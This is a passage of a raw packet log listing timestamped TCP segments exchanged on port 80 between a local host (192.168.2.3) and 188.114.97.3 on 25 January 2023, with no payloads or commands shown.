Jan 25, 2023 09:42:41.488753080 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.488765001 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.488773108 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.488802910 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.488810062 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.488840103 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.488881111 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.488883018 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.488903046 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.488943100 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.488946915 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.488972902 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.488992929 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489012003 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.489028931 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489032030 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.489065886 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489104986 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.489114046 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489132881 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489161015 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489168882 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.489190102 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489197969 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489207983 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489229918 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489236116 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.489250898 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489259958 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.489272118 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489286900 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.489293098 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489314079 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489334106 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489355087 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489360094 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.489376068 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489378929 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.489396095 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489415884 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.489429951 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489444017 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489455938 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489465952 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489481926 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.489507914 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.489691019 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489784002 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489803076 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489820957 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489835024 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.489840031 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.489851952 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.489886045 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.490017891 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490052938 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490091085 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490130901 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490159988 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490184069 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.490195990 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490217924 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490223885 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.490238905 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.490248919 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490292072 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.490302086 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490322113 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490343094 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490365028 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490385056 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490386009 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.490410089 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.490427971 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490448952 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490469933 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490489960 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.490490913 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490513086 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490524054 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.490533113 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490552902 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.490554094 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490586996 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490597010 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.490839005 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490885973 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.490891933 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490928888 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.490972042 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.490976095 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491012096 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491063118 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491084099 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491102934 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491106033 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.491122961 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491132021 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.491142035 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491158962 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.491162062 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491194010 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491203070 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.491204977 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491216898 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491229057 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491240025 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491245985 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.491250038 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491261005 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491264105 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.491274118 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491286039 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491296053 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.491296053 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491316080 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.491353989 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.491797924 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491827965 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491862059 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491883039 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.491915941 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491947889 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.491991043 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.491996050 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.492031097 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.492053986 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.492074013 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.492075920 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.492093086 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.492093086 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.492113113 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.492132902 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.492151022 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.492153883 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.492177010 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.492180109 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.492188931 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.492201090 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.492208958 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.492230892 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.492238998 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.492250919 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.492269039 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.492274046 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.492289066 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.492307901 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.492924929 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.492935896 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.492955923 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.492980003 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.492995977 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493005991 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.493047953 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493087053 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493098021 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.493124962 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493150949 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493182898 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493191004 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.493207932 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493236065 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493248940 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.493253946 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493275881 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493278027 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.493288040 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493314028 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493335009 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493335009 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.493354082 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493359089 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.493374109 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493391991 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.493393898 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493417978 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493427992 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493437052 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493455887 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493464947 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.493475914 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493495941 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493511915 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.493535995 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.493872881 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493918896 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493972063 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.493972063 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.493998051 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494031906 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494039059 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.494056940 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494066000 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494077921 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494096994 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494103909 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.494117022 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494127989 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.494137049 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494158030 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494158983 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.494178057 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494196892 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494211912 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.494218111 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494240046 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.494240046 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494268894 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494280100 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494288921 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494299889 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494309902 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.494319916 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494337082 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.494874954 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494884968 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494908094 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494931936 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494931936 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.494951963 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494965076 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.494971991 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.494991064 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.494995117 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.495008945 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.495031118 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.495032072 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.495052099 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.495070934 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.495090961 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.495115042 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.503093004 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.519151926 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.534921885 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.535104990 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.535151958 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.535198927 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.535212994 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.535264969 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.535291910 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.535316944 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.535362959 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.535403967 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.535408020 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.535453081 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.535499096 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.535504103 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.535543919 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.535550117 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.535588980 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.535640955 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.535645008 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.535666943 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.535722017 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.535798073 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.536016941 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.536062002 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.536106110 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.536108017 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.536174059 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.536184072 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.536209106 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.536258936 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.536304951 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.536339045 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.536351919 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.536369085 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.536397934 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.536443949 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.536489964 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.536497116 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.536535978 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.536581039 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.536592007 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.536627054 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.536643982 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.536679029 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.536731958 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.536998987 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.537046909 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.537096024 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.537142038 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.537149906 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.537194014 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.537216902 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.537266970 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.537327051 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.537339926 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.537341118 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.537369967 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.537415028 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.537425041 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.537460089 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.537512064 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.537512064 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.537561893 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.537575006 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.537609100 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.537655115 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.537715912 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.537972927 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.538038969 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.538085938 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.538119078 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.538132906 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.538140059 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.538180113 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.538228035 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.538254976 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.538278103 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.538326025 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.538374901 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.538383007 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.538422108 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.538470030 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.538475037 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.538516998 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.538573027 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.538578987 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.538630962 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.538885117 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.538933992 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.538980007 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.539036989 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.539038897 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.539057970 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.539087057 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.539120913 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.539134026 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.539134979 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.539181948 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.539228916 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.539237976 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.539292097 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.539345980 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:41.539351940 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.539400101 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.539447069 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.539494038 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:41.539499044 CET	49728	80	192.168.2.3	188.114.97.3
